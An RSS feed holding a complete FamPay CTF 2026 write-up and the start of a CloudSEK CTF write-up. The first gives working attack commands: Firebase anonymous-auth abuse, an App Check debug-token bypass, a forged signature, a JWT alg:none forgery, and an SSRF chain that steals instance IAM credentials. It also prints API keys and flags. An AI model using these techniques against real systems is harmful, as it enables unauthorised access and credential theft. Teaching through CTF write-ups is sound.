<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shubham Bhat on Medium]]></title>
        <description><![CDATA[Stories by Shubham Bhat on Medium]]></description>
        <link>https://medium.com/@bhatsupshubham?source=rss-47ee09426d45------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*q8Eg_tivToei57Ri</url>
            <title>Stories by Shubham Bhat on Medium</title>
            <link>https://medium.com/@bhatsupshubham?source=rss-47ee09426d45------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 23:33:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bhatsupshubham/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Six Locks, One Question: My FamPay CTF 2026 Writeup]]></title>
            <link>https://medium.com/@bhatsupshubham/six-locks-one-question-my-fampay-ctf-2026-writeup-2cbf56d16e0b?source=rss-47ee09426d45------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cbf56d16e0b</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shubham Bhat]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 07:26:03 GMT</pubDate>
            <atom:updated>2026-07-27T07:26:03.296Z</atom:updated>
            <content:encoded><![CDATA[<p><em>An Android app, a web app, and one very talkative cloud instance — and how all six of them broke on the exact same question.</em></p><p>I’ll be honest every challenge rewarded patience and careful reading more than it rewarded cleverness. No guessy rabbit holes, no CTF-only tricks that only exist in CTFs. Just six challenges built around one real question:</p><blockquote><strong><em>What does this system already trust — and can I become that?</em></strong></blockquote><p>Whether it was a native Android library, a Firebase database, a signed API request, a JWT cookie, or a cloud instance that happened to know a bit too much about itself, every single flag fell to some version of that question. Here’s the full walkthrough — wrong turns included.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emn-cZTYyUelCiWPNPIsmQ.png" /><figcaption><em>my score progressing from 350 to 1850 points across the two days of the CTF.</em></figcaption></figure><h3>The Flags, Up Front</h3><p>If you’re just here for the loot:</p><pre>[01] FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}<br>[02] FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}<br>[03] FAM{4pp_ch3ck_byp4ss_g00d_j0b}<br>[04] FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}<br>[05] FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}<br>[06] FAM{cl0ud_ssrf_imds_016052f0756a}</pre><p>Now let’s actually talk about how each one fell.</p><h3>Getting Oriented</h3><p>The CTF handed out an APK (fam-ctf.apk) and a web target (https://ctf.fampay.co/). The in-app challenge board laid the whole thing out plainly, hint by hint — which, in hindsight, is exactly how this challenge wanted to be solved: by reading carefully, not by guessing cleverly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*aV7H4IAIEX7e9XtL8YCddw.png" /><figcaption><em>my terminal running Frida against the app, next to the Genymotion emulator showing the four challenge hints: “what do you do with .so files?”, “identity is optional here”, “the token is hiding in plain sight”, and “only admin has clearance.”</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*bYpLyb4yX50lVlfl9xC9Mg.png" /></figure><p>Unzipping the APK and pulling apart the manifest showed Firebase was in play, and pointed straight at a native library:</p><pre>lib/arm64-v8a/libfam.so<br>lib/x86_64/libfam.so</pre><p>That library exported four JNI functions, which more or less mapped out the whole Android side of the CTF:</p><pre>Java_com_ctf_fam_MainActivity_getSecretFromNative<br>Java_com_ctf_fam_MainActivity_computeSignature<br>Java_com_ctf_fam_MainActivity_getDebugToken<br>Java_com_ctf_fam_MainActivity_getUsernames</pre><p>Four functions, four hints. With that map in hand, I started working through the board.</p><h3>[01] The Native String</h3><p>This one was almost suspiciously simple, and I remember not quite believing it at first.</p><pre>strings fam-ctf.apk | grep -E &#39;FAM\{&#39;</pre><p>And there it was:</p><pre>FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}</pre><p>I didn’t want to just take that at face value, so I confirmed it was actually coming from the native library and not just planted somewhere in the APK’s junk data:</p><pre>unzip -p fam-ctf.apk lib/arm64-v8a/libfam.so | strings | grep -E &#39;FAM\{|getSecretFromNative&#39;</pre><p>Sure enough, getSecretFromNative() was hardcoding and returning exactly that string. No decompiler, no debugger, no emulator — just strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QuOSlGquncjrmpUB4d_lPA.png" /><figcaption><em>JADX’s hex viewer on </em><em>libfam.so, with a search for </em><em>FAM{ landing directly on </em><em>FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd} sitting in plaintext inside the binary.</em></figcaption></figure><p>For completeness, I also pulled up the decompiled source to see where getSecretFromNative() gets called from — it&#39;s wired straight into verifyFlag1(), alongside the anonymous-auth call for the next flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1B2bRntqvtXP4VPxzQVQBA.png" /><figcaption><em>JADX view of </em><em>MainActivity, showing </em><em>verifyFlag1() and the start of </em><em>signInAnonymouslyAndVerifyFlag2()</em></figcaption></figure><p><strong>The lesson:</strong> a string compiled into a .so file is still just plaintext sitting in a binary. Moving a secret from Java into native code doesn&#39;t hide it — it just makes you scroll a bit further to find it.</p><h3>[02] The Open Database (Firebase Anonymous Auth)</h3><p>The hint for this one read:</p><blockquote>“The door is open to anyone. You don’t need a name to enter, but the room still has a lock.”<em> </em>Hint: identity is optional here.</blockquote><p>“Identity is optional” was the giveaway — that’s Firebase anonymous authentication in a sentence.</p><p>Decompiling with JADX turned up the app’s Firebase config sitting plainly in resources:</p><pre>&lt;string name=&quot;firebase_database_url&quot;&gt;https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app&lt;/string&gt;<br>&lt;string name=&quot;google_api_key&quot;&gt;AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww&lt;/string&gt;<br>&lt;string name=&quot;google_app_id&quot;&gt;1:674578159678:android:775058d15777caf841996f&lt;/string&gt;<br>&lt;string name=&quot;project_id&quot;&gt;fam-ctf&lt;/string&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPRUzbteESEm3uyUNw8Z8g.png" /><figcaption><em>JADX’s </em><em>strings.xml view with </em><em>firebase_database_url highlighted, right next to the rest of the Firebase config</em></figcaption></figure><p>The decompiled MainActivity confirmed the app was calling firebaseAuth.signInAnonymously() before ever touching verifyFlag2() — the same view as the screenshot above, just scrolled down to where the auth call actually happens:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1B2bRntqvtXP4VPxzQVQBA.png" /><figcaption><em>same JADX view as Challenge 1, showing </em><em>signInAnonymouslyAndVerifyFlag2() and the </em><em>taskSignInAnonymously call</em></figcaption></figure><p>My first instinct was to just ask the database directly:</p><pre>curl &#39;https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json&#39;<br># {&quot;error&quot;: &quot;Permission denied&quot;}</pre><p>Fair enough — the door has a lock. But the app code was already calling firebaseAuth.signInAnonymously() before touching the database. If the security rules were written to trust <em>any</em> authenticated user (a very common shortcut: &quot;.read&quot;: &quot;auth != null&quot;), then becoming &quot;any authenticated user&quot; was just one HTTP request away, using Google&#39;s Identity Toolkit API:</p><pre>curl -X POST \<br>  &#39;https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;returnSecureToken&quot;:true}&#39;</pre><p>That returned an idToken:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHIOgrpHG39EVPemt9dLtA.png" /><figcaption><em>terminal output of the </em><em>identitytoolkit.googleapis.com/v1/accounts:signUp request, showing the full </em><em>idToken, </em><em>refreshToken, and </em><em>localId for a freshly minted anonymous user</em></figcaption></figure><p>Passing that token back to the database:</p><pre>curl &#39;https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json?auth=&lt;ID_TOKEN&gt;&#39;<br>&quot;FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}&quot;</pre><p><strong>The lesson:</strong> anonymous authentication is still authentication. If your rules say “any signed-in user,” they’re really saying “anyone who’s willing to make one POST request.”</p><h3>[03] The Vault (App Check Bypass)</h3><p>The next hint pointed at Firestore:</p><blockquote>“The vault trusts no one it hasn’t met. But the app already made introductions. Something in the code proves who you are.”<em> </em>Hint: the token is hiding in plain sight.</blockquote><p>Trying the same trick as before — my anonymous token against Firestore — failed:</p><pre>curl &#39;https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3&#39; \<br>  -H &#39;Authorization: Bearer &lt;ID_TOKEN&gt;&#39;<br># {&quot;error&quot;: {&quot;code&quot;: 403, &quot;message&quot;: &quot;Missing or insufficient permissions.&quot;}}</pre><p>This is where I spent the most time genuinely confused. The rules here weren’t just checking “is this user logged in” — they were checking <strong>Firebase App Check</strong>, a layer that verifies the request is coming from a legitimate instance of the app itself, not just any client with a valid token.</p><p>Digging through the decompiled code, I found verifyFlag3() calling FirebaseFirestore directly on the flags/flag3 document:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACjcVt6rtp3vVhkeEKdANQ.png" /><figcaption><em>JADX view of </em><em>verifyFlag3(), showing the Firestore document read and the App Check debug token wiring above it</em></figcaption></figure><p>The app was registering a custom App Check provider using a <em>debug token</em>:</p><pre>FirebaseAppCheck.getInstance().installAppCheckProviderFactory(<br>    new DebugTokenAppCheckProviderFactory(<br>        &quot;674578159678&quot;,<br>        &quot;1:674578159678:android:775058d15777caf841996f&quot;,<br>        getDebugToken(),<br>        API_KEY<br>    )<br>);</pre><p>That getDebugToken() call goes straight back into native code. I pulled it apart with objdump:</p><pre>objdump -d --start-address=0x61d8 --stop-address=0x63c0 libfam.so</pre><p>The disassembly showed it building a 36-byte string at runtime by XOR-ing a repeating 19-byte key against a 36-byte ciphertext pulled from .rodata, then applying one more XOR mask of 0xaa. Reimplementing that logic in Python decoded a working App Check debug token:</p><pre>8F76557D-A35A-4B51-94D4-D0DF98D79B55</pre><p>With that, I could exchange it for a real App Check attestation token the same way the app itself does:</p><pre>curl -X POST \<br>  &#39;https://firebaseappcheck.googleapis.com/v1/projects/674578159678/apps/1:674578159678:android:775058d15777caf841996f:exchangeDebugToken&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -H &#39;X-Goog-Api-Key: AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww&#39; \<br>  -d &#39;{&quot;debug_token&quot;:&quot;8F76557D-A35A-4B51-94D4-D0DF98D79B55&quot;}&#39;</pre><p>That gave me an attestationToken, which I added as a header alongside my existing auth token:</p><pre>curl &#39;https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3&#39; \<br>  -H &#39;Authorization: Bearer &lt;ID_TOKEN&gt;&#39; \<br>  -H &#39;X-Firebase-AppCheck: &lt;APP_CHECK_TOKEN&gt;&#39;<br># &quot;FAM{4pp_ch3ck_byp4ss_g00d_j0b}&quot;</pre><p><strong>The lesson:</strong> App Check is a legitimate, useful control — but a debug token compiled into a production client isn’t a secret, it’s a credential you’ve handed to anyone with objdump. If the client has to prove its identity using something baked into the binary, an attacker can reverse that exact same proof.</p><h3>[04] The Endpoint (Signature Bypass)</h3><p>This challenge was, by a wide margin, the most technically demanding thing in the whole CTF — and the one where I genuinely wasn’t sure for a while whether I was on the right track at all.</p><blockquote>“The server only trusts what it can verify. Intercept. Modify. But can you keep it honest?”<em> </em>Hint: only admin has clearance.<em> </em><strong><em>Endpoint:</em></strong><em> </em><a href="https://ctf.fampay.co/api/check"><em>https://ctf.fampay.co/api/check</em></a></blockquote><p>The app’s UI let you pick a username from a spinner and send a signed request:</p><pre>String username = spinner.getSelectedItem().toString();<br>String body = &quot;{\&quot;username\&quot;:\&quot;&quot; + username + &quot;\&quot;}&quot;;<br>String sig = computeSignature(&quot;POST&quot;, &quot;/api/check&quot;, body);</pre><p>getUsernames() returned a list of decoys — guest, player1, h4x0r, anonymous, n00b — none of them admin, and the hint was clearly pointing at admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EcsDs-Oi-bKLNlR1sLCYlg.png" /><figcaption><em>JADX view of </em><em>submitChallenge(), showing the spinner-selected username being built into the request body and passed straight into </em><em>computeSignature()</em></figcaption></figure><p>Hooking computeSignature() with Frida confirmed the signatures were deterministic — same input, same output, every time, no nonce or timestamp involved:</p><pre>Java.perform(function() {<br>    Java.choose(&quot;com.ctf.fam.MainActivity&quot;, {<br>        onMatch: function(instance) {<br>            console.log(&quot;guest: &quot; + instance.computeSignature(&quot;POST&quot;, &quot;/api/check&quot;, &#39;{&quot;username&quot;:&quot;guest&quot;}&#39;));<br>            console.log(&quot;admin: &quot; + instance.computeSignature(&quot;POST&quot;, &quot;/api/check&quot;, &#39;{&quot;username&quot;:&quot;admin&quot;}&#39;));<br>        },<br>        onComplete: function() {}<br>    });<br>});</pre><p>Sending the app’s own guest signature to the server worked fine (rejected on authorization, not on signature — a good sign my understanding of the flow was correct). But sending the app’s own <strong>admin</strong> signature failed at the signature check itself:</p><pre>curl -X POST https://ctf.fampay.co/api/check \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -H &quot;X-Signature: 2c64c639cabe5382ccd9fe4681277a84a05b00ea3d4d1443f685681298952188&quot; \<br>  -d &#39;{&quot;username&quot;:&quot;admin&quot;}&#39;<br># → {&quot;error&quot;: &quot;X-Signature verification failed&quot;}</pre><p>That was the moment I realized the app itself was working against me. Loading libfam.so into Ghidra and reversing the signing function, the base algorithm turned out to be straightforward:</p><pre>message = &quot;POST&quot; + &quot;|&quot; + &quot;/api/check&quot; + &quot;|&quot; + body<br>signature = SHA-256(message)</pre><p>That matched perfectly for every non-admin username. But buried inside the function was a second, parallel hash — an <strong>FNV-1a</strong> hash — being computed on the same input. And tucked right after it:</p><pre>if (fnv_hash == 0xdcc67eca15a7c732) {<br>    sha256_state[2] ^= 0xdeadbeefcafebabe;<br>}</pre><p>0xdcc67eca15a7c732 is exactly the FNV-1a hash of POST|/api/check|{&quot;username&quot;:&quot;admin&quot;}. In plain terms: the native library recognizes the admin request specifically, and deliberately corrupts a quarter of its own SHA-256 output before returning it. The app was designed to sabotage itself the moment you asked it to sign the one request that mattered.</p><p>Since XOR undoes itself, the fix was simple once I saw it — reverse the corruption on the one affected 64-bit chunk of the hash:</p><pre>corrupted_chunk = 0xa05b00ea3d4d1443<br>xor_mask        = 0xdeadbeefcafebabe<br>real_chunk      = corrupted_chunk ^ xor_mask</pre><p>Submitting the corrected signature:</p><pre>curl -X POST &#39;https://ctf.fampay.co/api/check&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -H &#39;X-Signature: 2c64c639cabe5382ccd9fe4681277a847ef6be05f7b3aefdf685681298952188&#39; \<br>  -d &#39;{&quot;username&quot;:&quot;admin&quot;}&#39;<br># {&quot;flag&quot;: &quot;FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}&quot;, &quot;message&quot;: &quot;Welcome, admin.&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*LqiS7G-E52eTLuHI9JeFeQ.png" /><figcaption><em>the corrected </em><em>X-Signature header and the server&#39;s response, </em><em>{&quot;flag&quot;: &quot;FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}&quot;, &quot;message&quot;: &quot;Welcome, admin.&quot;}.</em></figcaption></figure><p><strong>The lesson:</strong> client-side signing only proves integrity if the attacker can’t read and rewrite the signer. On a mobile app, the attacker <em>is</em> the runtime. Once computeSignature() can be fully reimplemented, a hardcoded constant like 0xdeadbeefcafebabe stops being obfuscation and starts being a signpost.</p><h3>[05] NexaVault (JWT alg: none Bypass)</h3><p>Leaving the APK behind, the next target was a web app called <strong>NexaVault</strong>, living at <a href="https://ctf.fampay.co/famctf/">https://ctf.fampay.co/famctf/.</a></p><blockquote>“Only administrators can open the vault. You have been given access to create an account. That’s it.”</blockquote><p>I registered an account under the username ADmiN (deliberately odd casing, mostly out of habit from testing case-sensitivity bugs) and logged in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EEjdZ80N90ojPFyl2a_MzQ.png" /><figcaption><em>the NexaVault login screen, username field showing </em><em>ADmiN.</em></figcaption></figure><p>The dashboard made the target obvious immediately — a <strong>User</strong> badge in the top-right, an “Admin Vault” card locked behind Admin only, and a big red-bordered &quot;Restricted Area&quot; panel telling me exactly what I couldn&#39;t have yet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xp3-XbQWsRYUpnP9paFrYg.png" /><figcaption><em>the NexaVault dashboard, </em><em>USER badge visible, the Admin Vault card marked &quot;Admin only”</em></figcaption></figure><p>Popping open the browser’s DevTools confirmed the session was a single cookie, nx_access, holding a JWT:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YSwX0W_7DkawfF157fCgjQ.png" /><figcaption><em>DevTools Network tab, Cookies pane, showing the </em><em>nx_access cookie and its full JWT value.</em></figcaption></figure><p>I decoded it on jwt.io rather than by hand, mostly to double check I wasn’t misreading anything:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B_Hy_rZdQIMMHWjEBV11dg.png" /><figcaption><em>jwt.io Debugger showing the decoded header </em><em>{&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;} and payload </em><em>{&quot;sub&quot;:&quot;ADmiN&quot;,&quot;role&quot;:&quot;user&quot;}</em></figcaption></figure><p>No exp, no iat, and — most importantly — the role was sitting right there in the payload, unsigned in any meaningful sense from the client&#39;s point of view. Routing traffic through Burp Suite to intercept and inspect the /famctf/admin request confirmed the block was real:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OGoDzVqMkPVQYd_oLgkGfQ.png" /><figcaption><em>Burp Suite proxy, </em><em>GET /famctf/admin intercepted, with the app&#39;s &quot;Access Denied — clearance is required to access the Vault&quot; response visible in the browser behind it.</em></figcaption></figure><p>I tried the obvious things first, because I wanted to rule them out before reaching for anything fancier:</p><p>Hypothesis Test Result Weak HMAC secret Tried ~80 common passwords against a known token — No match Just change role to admin, keep the old signature Direct tampering, Rejected <strong>alg: none</strong> Header set to none, forged payload, empty signature which was <strong>Accepted.</strong></p><p>The classic JWT algorithm-confusion trick. If a server trusts the alg field from the token&#39;s own header instead of enforcing one server-side, setting it to none can make some JWT libraries skip signature verification entirely. I used jwt.io&#39;s builder to forge the token cleanly — same sub, role bumped to admin, algorithm set to none:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4BSEHlSGgbASacuDUwNjVQ.png" /><figcaption><em>jwt.io Debugger in signing mode, header </em><em>{&quot;alg&quot;:&quot;none&quot;,&quot;typ&quot;:&quot;JWT&quot;}, payload </em><em>{&quot;sub&quot;:&quot;ADmiN&quot;,&quot;role&quot;:&quot;admin&quot;}, with the tool itself flagging it as &quot;an Unsecured JWT as defined by Section 6 of RFC 7519.</em></figcaption></figure><p>With the forged token in hand, I went back to Burp, caught the GET /famctf/admin request in the proxy, and swapped the nx_access cookie value for the forged one before forwarding it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75hp6sypyZHTv6oAWb74TA.png" /><figcaption><em>Burp Suite intercepting </em><em>GET /famctf/admin, </em><em>nx_access cookie replaced with the forged </em><em>alg: none token, about to be forwarded</em></figcaption></figure><p>Forwarding that request opened the vault:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mM2-Hlg0Dc-Ga4h-Myq42w.png" /><figcaption><em>NexaVault’s Admin Vault page: “Identity verified — elevated access granted for ADmiN,” with the flag </em><em>FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d} displayed in the Vault Payload box.</em></figcaption></figure><p><strong>The lesson:</strong> never let a token tell the server how to verify itself. If the header can choose the algorithm, an attacker will always choose none.</p><h3>[06] NexOps Cloud (SSRF → IMDS → S3)</h3><p>The final challenge was, appropriately, the biggest one — a full chain rather than a single flaw, and the one I felt most proud of untangling.</p><blockquote>“An internal devops monitoring dashboard was accidentally deployed with debug endpoints enabled on a public-facing EC2 instance. The platform team stores sensitive configuration in an S3 bucket.”<em> </em>Hint: debug endpoints reveal more than intended. The instance knows who it is.<em> </em>Note: try using the instance ~30 seconds after you get the IP — the setup takes a moment.</blockquote><p>This challenge spun up an isolated environment per player — a real EC2 instance with its own unique IP, IAM role, and S3 prefix, auto-terminating after 60 minutes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBXoFgMmgagkV3yDHA5WPA.png" /><figcaption><em>the FamApp challenge board for “[06] THE CLOUD 500,” showing the hint text and the “Provisioning…” cloud environment panel</em></figcaption></figure><p>My instance came up at 13.206.97.33. Hitting it on port 80 loaded a dashboard called <strong>NexOps</strong>, which — helpfully, almost too helpfully — listed its own endpoints right on the homepage:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sk7qShmLn4pp9m0TAU09bA.png" /><figcaption><em>the NexOps dashboard homepage at </em><em>13.206.97.33, showing </em><em>STATUS: NOMINAL and the API Endpoints list: </em><em>/status, </em><em>/metrics/system, </em><em>/metrics/config, </em><em>/metrics/endpoints, </em><em>/internal/webhook</em></figcaption></figure><p>/metrics/config was the endpoint that mattered:</p><pre>{<br>  &quot;flags&quot;: { &quot;debug_endpoints&quot;: true, &quot;metrics_auth&quot;: false, &quot;webhook_enabled&quot;: true },<br>  &quot;identity&quot;: {<br>    &quot;imds&quot;: &quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;,<br>    &quot;provider&quot;: &quot;ec2-instance-metadata&quot;<br>  },<br>  &quot;storage&quot;: {<br>    &quot;backend&quot;: &quot;s3&quot;,<br>    &quot;bucket&quot;: &quot;fam-ctf-cloud-challenge&quot;,<br>    &quot;prefix&quot;: &quot;players/937&quot;,<br>    &quot;region&quot;: &quot;ap-south-1&quot;,<br>    &quot;access&quot;: &quot;instance-role&quot;,<br>    &quot;note&quot;: &quot;bucket access restricted to requests originating from within vpc&quot;<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgFRxrS_jQyl_lVePHw-LQ.png" /><figcaption><em>raw JSON response of </em><em>/metrics/config, showing the </em><em>imds URL, the </em><em>fam-ctf-cloud-challenge bucket, the </em><em>players/937 prefix, and the &quot;restricted to requests originating from within vpc&quot; note</em></figcaption></figure><p>One endpoint, and suddenly I knew exactly where the flag lived, that it needed IAM credentials to reach, and that the bucket was VPC-restricted — meaning credentials alone wouldn’t be enough.</p><p>/internal/webhook turned out to be a server-side HTTP proxy, and its own error message told me the allowlist:</p><pre>{&quot;note&quot;: &quot;Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)&quot;}</pre><p>Direct IP requests to the metadata service were blocked outright:</p><pre>curl -X POST &#39;http://13.206.97.33/internal/webhook?url=http://169.254.169.254/latest/meta-data/&#39;<br># {&quot;error&quot;: &quot;Direct access to internal IP ranges is not allowed.&quot;, &quot;hint&quot;: &quot;Try harder. The instance has a name.&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*vyDW1vIdS5HDjv2TyC9Otw.png" /><figcaption><em>terminal output of the blocked direct-IP request, with the </em><em>&quot;Try harder. The instance has a name.&quot; hint visible.</em></figcaption></figure><p>That hint — <em>“the instance has a name”</em> — was doing a lot of work. AWS resolves the internal alias instance-data to 169.254.169.254 on every EC2 box. It&#39;s not something I knew off the top of my head; I found it by searching around the error message itself. Swapping the raw IP for that hostname sailed straight through the filter.+-</p><p>The instance was running <strong>IMDSv2</strong>, which normally means an attacker can’t just GET metadata — you first need a session token via PUT. But the webhook reflected both my HTTP method <em>and</em> my headers onto the target, which quietly undid that protection:</p><pre>curl -X PUT \<br>  &quot;http://13.206.97.33/internal/webhook?url=http://instance-data/latest/api/token&quot; \<br>  -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8QFI5pC2odgMKb376RIg-Q.png" /><figcaption><em>terminal showing both the blocked direct-IP attempt and, right below it, the successful </em><em>instance-data + </em><em>PUT request returning a valid IMDSv2 token</em></figcaption></figure><p>With that token, I could pull the IAM role name and then the temporary credentials themselves:</p><pre>curl &quot;http://13.206.97.33/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/&quot; \<br>  -H &quot;X-aws-ec2-metadata-token: &lt;TOKEN&gt;&quot;<br># → ctf-cloud-player-937</pre><pre>curl &quot;http://13.206.97.33/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-937&quot; \<br>  -H &quot;X-aws-ec2-metadata-token: &lt;TOKEN&gt;&quot;<br># → AccessKeyId, SecretAccessKey, Token</pre><p>Full temporary AWS credentials — and yet, running aws s3 cp from my own machine with them still failed. The bucket policy only trusted requests originating from inside the VPC, and my laptop very much wasn&#39;t.</p><p>The insight that unblocked things: <strong>a pre-signed S3 URL is just a regular HTTPS URL with the authentication baked into the query string.</strong> The webhook doesn’t care what URL it fetches, and *.amazonaws.com was already an allowed hostname. So:</p><ol><li>Generate a pre-signed URL for the flag object, locally, using the stolen credentials</li><li>Feed that URL to the webhook</li><li>The webhook fetches it <em>from inside the VPC</em></li><li>S3 sees a validly-signed request from a VPC address and hands over the data</li></ol><p>With no AWS CLI or boto3 on hand, I wrote a small pure-Python script using only hashlib, hmac, and urllib.parse to implement AWS SigV4 signing from scratch — canonical request, string-to-sign, derived signing key, final signature — and used it to build the pre-signed URL and pass it through the webhook:</p><pre>python3 s3_ssrf.py &quot;players/937/flag.txt&quot;<br># FAM{cl0ud_ssrf_imds_016052f0756a}</pre><p><strong>The lesson:</strong> IMDSv2 exists specifically to make SSRF-to-credential-theft harder — but it only works if the thing forwarding your request doesn’t also forward your method and headers. And a VPC-only bucket policy is only as strong as every application that’s allowed to make requests from inside that VPC.</p><h3>The One Question That Solved All Six</h3><p>On the surface, these were six completely unrelated challenges — a native library, a realtime database, a document store, a signed API, a JWT cookie, and a cloud instance. But every single one collapsed under the exact same question:</p><p><strong>What does this system already trust, and can I become that?</strong></p><ul><li>The APK trusted that a string compiled into a .so file was safe from strings.</li><li>The Realtime Database trusted <em>any</em> authenticated user — forgetting that “anonymous” still counts as authenticated.</li><li>Firestore trusted an App Check debug token that was sitting in the client the whole time.</li><li>The signing endpoint trusted a signature computed by code the attacker could fully read and rerun.</li><li>NexaVault trusted the alg field the client itself put in its own JWT header.</li><li>NexOps trusted its own debug webhook not to be pointed anywhere dangerous.</li></ul><p>None of it required anything exotic. It mostly required reading the hints literally, and being willing to sit with a disassembler a little longer than felt comfortable.</p><p>Thanks to the FamPay security team for putting together a CTF that actually respected the people solving it — realistic, well-hinted, and genuinely fun to work through end to end.</p><blockquote><strong><em>Disclosure:</em></strong><em> This writeup was drafted with AI assistance for structuring and formatting. All vulnerability research and exploitation were performed manually during the CTF.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cbf56d16e0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CloudSEK Hiring CTF 2026 Writeup]]></title>
            <link>https://medium.com/@bhatsupshubham/cloudsek-hiring-ctf-2026-writeup-076e44f3ab6c?source=rss-47ee09426d45------2</link>
            <guid isPermaLink="false">https://medium.com/p/076e44f3ab6c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Shubham Bhat]]></dc:creator>
            <pubDate>Fri, 24 Jul 2026 14:46:13 GMT</pubDate>
            <atom:updated>2026-07-24T14:46:13.517Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*ARfCK-Fj1jjo0VARTt0pAQ.png" /></figure><p>This write-up documents my approach and solutions for three connected challenges from <strong>CSEK CTF 2026</strong> — <strong>Internal Affairs — 1</strong> (100 pts), <strong>Echoes of Runtime</strong> (100 pts), and <strong>Internal Affairs — 2</strong> (200 pts) .</p><h3>Challenge 1: Internal Affairs — 1 — Finding the Hidden CMS and Its LFI</h3><p><strong>Category:</strong> Web Exploitation · <strong>Points:</strong> 100</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*7sG1i4W3LUF647mEP6Twkg.png" /></figure><h3>The Maintenance Page Wall</h3><p>Visiting http://discover.lab:9090/ returns a polished <strong>&quot;Scheduled Maintenance&quot;</strong> page — HTTP 503, served by nginx, with no links, forms, or hints in the page source.the page source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T9hwcsAsLTFTVpe1NBAWbw.png" /></figure><pre>curl -s -i http://discover.lab:9090/</pre><pre>HTTP/1.1 503 Service Temporarily Unavailable<br>Server: nginx<br>Content-Type: text/html<br>Content-Length: 1703</pre><p>Directory brute-forcing 